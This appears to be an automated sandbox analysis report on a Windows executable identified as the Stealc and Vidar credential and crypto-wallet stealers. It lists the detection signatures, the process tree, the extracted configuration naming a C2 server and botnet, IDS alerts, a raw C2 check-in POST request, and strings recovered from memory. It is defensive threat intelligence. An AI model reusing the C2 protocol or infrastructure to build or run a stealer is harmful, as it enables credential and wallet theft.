Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1520704
MD5:	48b59bd4c9219cc6f4bca6a45642dcbd
SHA1:	e9a3185cf22da2569a55ed64253f0a16b60070d9
SHA256:	0411c3152398d2ce23e4bf07868adf49a5d24fe27558cbd92fb8fcb787b926de
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

.NET source code contains very large array initializations

.NET source code references suspicious native API functions

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Searches for specific processes (likely to inject)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7404 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 48B59BD4C9219CC6F4BCA6A45642DCBD)

conhost.exe (PID: 7412 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 7468 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 7476 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://194.87.29.53/6f9307efa625dd18.php", "Botnet": "oleh_psp"}

Threatname: Vidar

{"C2 url": "http://194.87.29.53/6f9307efa625dd18.php", "Botnet": "oleh_psp"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1700536753.0000000003595000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000003.00000002.1820758252.000000000145A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7404	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 7476	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 7476	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 7476	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 7476	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.file.exe.3595570.0.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
3.2.RegAsm.exe.400000.0.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
3.2.RegAsm.exe.400000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.file.exe.3595570.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T18:29:01.335850+0200	2044245	1	Malware Command and Control Activity Detected	194.87.29.53	80	192.168.2.4	60865	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T18:29:01.329537+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	60865	194.87.29.53	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T18:29:01.525467+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	60865	194.87.29.53	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T18:29:01.950162+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	60865	194.87.29.53	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T18:29:01.532910+0200	2044247	1	Malware Command and Control Activity Detected	194.87.29.53	80	192.168.2.4	60865	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T18:29:00.934026+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	60865	194.87.29.53	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T18:29:02.156891+0200	2803304	3	Unknown Traffic	192.168.2.4	60865	194.87.29.53	80	TCP
2024-09-27T18:29:05.509995+0200	2803304	3	Unknown Traffic	192.168.2.4	60865	194.87.29.53	80	TCP
2024-09-27T18:29:06.307208+0200	2803304	3	Unknown Traffic	192.168.2.4	60865	194.87.29.53	80	TCP
2024-09-27T18:29:07.019830+0200	2803304	3	Unknown Traffic	192.168.2.4	60865	194.87.29.53	80	TCP
2024-09-27T18:29:07.514483+0200	2803304	3	Unknown Traffic	192.168.2.4	60865	194.87.29.53	80	TCP
2024-09-27T18:29:09.370758+0200	2803304	3	Unknown Traffic	192.168.2.4	60865	194.87.29.53	80	TCP
2024-09-27T18:29:09.746754+0200	2803304	3	Unknown Traffic	192.168.2.4	60865	194.87.29.53	80	TCP

HTTP traffic detected: POST /6f9307efa625dd18.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAFBFCBGHDGCFHJJECAFHost: 194.87.29.53Content-Length: 213Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 46 42 46 43 42 47 48 44 47 43 46 48 4a 4a 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 43 38 35 46 44 37 34 34 41 41 42 36 39 31 36 31 30 39 31 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 42 46 43 42 47 48 44 47 43 46 48 4a 4a 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6f 6c 65 68 5f 70 73 70 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 42 46 43 42 47 48 44 47 43 46 48 4a 4a 45 43 41 46 2d 2d 0d 0a Data Ascii: ------BAFBFCBGHDGCFHJJECAFContent-Disposition: form-data; name="hwid"1C85FD744AAB69161091------BAFBFCBGHDGCFHJJECAFContent-Disposition: form-data; name="build"oleh_psp------BAFBFCBGHDGCFHJJECAF--

Source: RegAsm.exe, 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1820758252.000000000145A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.87.29.53
Source: RegAsm.exe, 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1820758252.000000000145A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.87.29.53/
Source: RegAsm.exe, 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://194.87.29.53/6f9307efa625dd18.php
Source: RegAsm.exe, 00000003.00000002.1820758252.000000000145A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.87.29.53/6f9307efa625dd18.php-D
Source: RegAsm.exe, 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.87.29.53/6f9307efa625dd18.php.
Source: RegAsm.exe, 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.87.29.53/6f9307efa625dd18.php/
Source: RegAsm.exe, 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.87.29.53/6f9307efa625dd18.php3
Source: RegAsm.exe, 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.87.29.53/6f9307efa625dd18.phpHDBAAFIDGDAAAAAAAA
Source: RegAsm.exe, 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.87.29.53/6f9307efa625dd18.phpS
Source: RegAsm.exe, 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.87.29.53/6f9307efa625dd18.phpV
Source: RegAsm.exe, 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.87.29.53/6f9307efa625dd18.phpa
Source: RegAsm.exe, 00000003.00000002.1820758252.00000000014BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.87.29.53/6f9307efa625dd18.phpe
Source: RegAsm.exe, 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.87.29.53/6f9307efa625dd18.phpl3
Source: RegAsm.exe, 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.87.29.53/6f9307efa625dd18.phpl7
Source: RegAsm.exe, 00000003.00000002.1820758252.00000000014BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.87.29.53/6f9307efa625dd18.phpoinomi
Source: RegAsm.exe, 00000003.00000002.1820758252.00000000014BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.87.29.53/6f9307efa625dd18.phpowser
Source: RegAsm.exe, 00000003.00000002.1820758252.00000000014BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.87.29.53/6f9307efa625dd18.phppRH6tRH6hRH6vRH6jRH6nRH6lRH6
Source: RegAsm.exe, 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://194.87.29.53/6f9307efa625dd18.phpsition:
Source: RegAsm.exe, 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.87.29.53/6f9307efa625dd18.phpw
Source: RegAsm.exe, 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.87.29.53/97f9710b31d15029/freebl3.dll
Source: RegAsm.exe, 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.87.29.53/97f9710b31d15029/freebl3.dllX
Source: RegAsm.exe, 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.87.29.53/97f9710b31d15029/mozglue.dll
Source: RegAsm.exe, 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.87.29.53/97f9710b31d15029/mozglue.dllN
Source: RegAsm.exe, 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.87.29.53/97f9710b31d15029/msvcp140.dll
Source: RegAsm.exe, 00000003.00000002.1820758252.000000000145A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.87.29.53/97f9710b31d15029/nss3.dll
Source: RegAsm.exe, 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.87.29.53/97f9710b31d15029/softokn3.dllJ
Source: RegAsm.exe, 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.87.29.53/97f9710b31d15029/softokn3.dllv
Source: RegAsm.exe, 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.87.29.53/97f9710b31d15029/sqlite3.dll
Source: RegAsm.exe, 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.87.29.53/97f9710b31d15029/sqlite3.dllj
Source: RegAsm.exe, 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.87.29.53/97f9710b31d15029/vcruntime140.dll
Source: RegAsm.exe, 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.87.29.53/97f9710b31d15029/vcruntime140.dll~
Source: RegAsm.exe, 00000003.00000002.1820758252.000000000145A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.87.29.53/:
Source: RegAsm.exe, 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://194.87.29.536f9307efa625dd18.phpsition:
Source: RegAsm.exe, 00000003.00000002.1820758252.000000000145A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.87.29.53at
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: RegAsm.exe, RegAsm.exe, 00000003.00000002.1853131872.000000006C36D000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.3.dr, mozglue.dll.3.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: RegAsm.exe, 00000003.00000002.1852818461.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1838092023.000000001B666000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: HJDBFBKK.3.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: RegAsm.exe, 00000003.00000002.1847160459.00000000276E2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1820758252.00000000014BB000.00000004.00000020.00020000.00000000.sdmp, IEHDBAAFIDGDAAAAAAAA.3.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: RegAsm.exe, 00000003.00000002.1847160459.00000000276E2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1820758252.00000000014BB000.00000004.00000020.00020000.00000000.sdmp, IEHDBAAFIDGDAAAAAAAA.3.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: HJDBFBKK.3.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: HJDBFBKK.3.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: HJDBFBKK.3.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: RegAsm.exe, 00000003.00000002.1847160459.00000000276E2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1820758252.00000000014BB000.00000004.00000020.00020000.00000000.sdmp, IEHDBAAFIDGDAAAAAAAA.3.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: RegAsm.exe, 00000003.00000002.1847160459.00000000276E2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1820758252.00000000014BB000.00000004.00000020.00020000.00000000.sdmp, IEHDBAAFIDGDAAAAAAAA.3.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: HJDBFBKK.3.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: HJDBFBKK.3.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: HJDBFBKK.3.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: IEHDBAAFIDGDAAAAAAAA.3.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: https://mozilla.org0/
Source: AKEGIIJDGHCAKFHJEHCFIJJEGI.3.dr	String found in binary or memory: https://support.mozilla.org
Source: AKEGIIJDGHCAKFHJEHCFIJJEGI.3.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: AKEGIIJDGHCAKFHJEHCFIJJEGI.3.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: RegAsm.exe, RegAsm.exe, 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: RegAsm.exe, 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY
Source: RegAsm.exe, 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV
Source: RegAsm.exe, 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: RegAsm.exe, 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17-
Source: RegAsm.exe, 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF
Source: RegAsm.exe, 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm
Source: RegAsm.exe, 00000003.00000002.1847160459.00000000276E2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1820758252.00000000014BB000.00000004.00000020.00020000.00000000.sdmp, IEHDBAAFIDGDAAAAAAAA.3.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: https://www.digicert.com/CPS0
